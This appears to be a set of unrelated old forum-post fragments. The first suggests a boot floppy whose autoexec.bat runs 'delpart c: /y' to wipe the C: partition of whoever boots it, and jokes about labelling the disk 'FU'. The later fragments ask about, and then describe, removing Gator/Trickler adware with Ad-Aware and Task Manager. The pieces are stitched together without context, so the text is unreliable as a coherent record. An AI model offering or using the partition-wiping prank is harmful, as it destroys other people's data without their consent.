This doesn't work with Win2k. I don't think it works with XP either.

I prefer delpart.exe, which came with the NT 3.51 Resource kit:

autoexec.bat @ECHO OFF delpart c: /y

Put a label on it with the letters "FU."

nk 'hey is that a floppy in your drive?'

Norton doesn't recognize it as a virus.

*I* can't delete it -- just get an "Access Denied" message (even in DOS mode).

I did tell my firewall thing to deny it access to the 'net, and don't see any symptoms or anything,
but I'd like to get rid of it.

Anyone know what I should do?!?

ok i just got rid of it.....first i downloaded "AD AWARE" that allowed me to delete most of the GATOR files. But TRICKLER was still running. So then I just hit Cont/Alt/Delete and it allowed me to stop the program from running and then I was able to delete it. I hope this is helpful to someone.
